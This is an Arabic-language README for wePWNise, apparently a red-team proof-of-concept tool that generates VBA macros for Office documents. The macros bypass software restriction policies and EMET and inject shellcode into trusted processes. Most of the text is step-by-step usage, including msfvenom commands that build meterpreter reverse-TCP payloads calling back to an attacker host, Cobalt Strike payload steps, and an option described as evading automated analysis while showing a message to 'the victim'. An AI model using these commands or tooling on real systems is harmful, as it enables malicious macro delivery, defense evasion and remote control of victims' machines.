
WePWNise يُنشئ كود VBA مستقل عن البنية (architecture) لاستخدامه في مستندات أو قوالب Office، ويؤتمت عملية تجاوز برامج التحكم في التطبيقات وبرامج تخفيف الاستغلال.
wePWNise هو نص برمجي بمثابة إثبات للمفهوم مكتوب بلغة Python، يقوم بتوليد كود VBA يمكن استخدامه في ماكرو أو قوالب Office. تم تصميمه مع مراعاة الأتمتة والتكامل، ويستهدف سيناريوهات البيئات المقيدة. يقوم الأداة بتعداد سياسات تقييد البرامج (SRPs) وتخفيفات EMET، وتحديد ديناميكي للتطبيقات الآمنة لحقن الحمولات فيها. يتكامل wePWNise مع أطر الاستغلال الحالية (مثل Metasploit و Cobalt Strike) كما يقبل أي حمولة مخصصة بتنسيق خام.
لبدء استخدام wePWNise، ألق نظرة أولاً على الخيارات التي يدعمها:
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
يتطلب wePWNise حمولات خام لكل من 32 و 64 بت ليتمكن من تسليم النوع المناسب عند الوصول إلى هدف غير معروف. ومع ذلك، إذا تم استهداف بنية x86 فقط، فيجب توفير حمولة وهمية 64 بت لاستبدال الكود المفقود.
من أجل التغلب على بعض إعدادات التحليل الآلي، يتم فتح صندوق رسالة عند تنفيذ الكود. يمكن تغيير نص صندوق الرسالة بتعريف قيمته في الوسيط --msg. لتعطيل هذه الوظيفة، قم بتعيين الوسيط --msgbox إلى False.
نظرًا لظروف الأداء التي قد تنتج عن سياسات SRPs/EMET الطويلة، يقرأ wePWNise ملفي تكوين (binary-paths.txt و directory-paths.txt) يحتويان على قائمة بالتطبيقات والمجلدات التي يُقل أن تكون مراقبة، ليتم فحصها أولاً. يمكن للمستخدم تحرير محتويات هذه الملفات لتحديد اختياراته بدلاً من ذلك. إذا كانت الملفات فارغة، سيبدأ wePWNise مباشرة في قراءة سياسات SRPs/EMET كما هي معرفة في السجل (Registry) وسيعتمد اختيار الحقن على المعلومات المسترجعة فقط.
تصف الأقسام التالية بعض الأمثلة الأساسية لاستخدام wePWNise.
أولاً، قم بإنشاء الحمولات لكل من بنيتي x86 و x64 بتنسيق خام، وتأكد من تكوين مستمعي Metasploit بشكل مناسب.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
ثم وجه wePWNise إلى الحمولات المولدة وأخرج الناتج إلى msf_wepwn.txt
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
لإنشاء حمولة خام في Cobalt Strike، انتقل إلى القائمة التالية ومن القائمة المنسدلة Output اختر تنسيق Raw. كرر العملية وقم بتمكين خانة x64 لإنتاج حمولة 64 بت.
Attacks > Packages > Payload Generator
أدخل الحمولات المولدة في wePWNise لتوليد كود VBA.
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
في بعض الحالات، قد تتوفر حمولة x86 فقط. نظرًا لأن wePWNise يتوقع حمولات 32 بت و 64 بت معًا، لتعطيل الحقن 64 بت، قم بإنشاء ملف وهمي 64 بت وضبط الوسيط --inject64 إلى False.
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
وبالمثل، لإنشاء حمولات 64 بت فقط، قم بإنشاء ملف وهمي x86 وقدمه في الوسيط -i86 من wePWNise.
تم إصدار wePWNise بموجب ترخيص BSD ثلاثي البنود ويتم صيانته بواسطة MWR InfoSecurity
تم تطوير هذه الأداة في الأصل بواسطة Vincent Yiu (@vysecurity).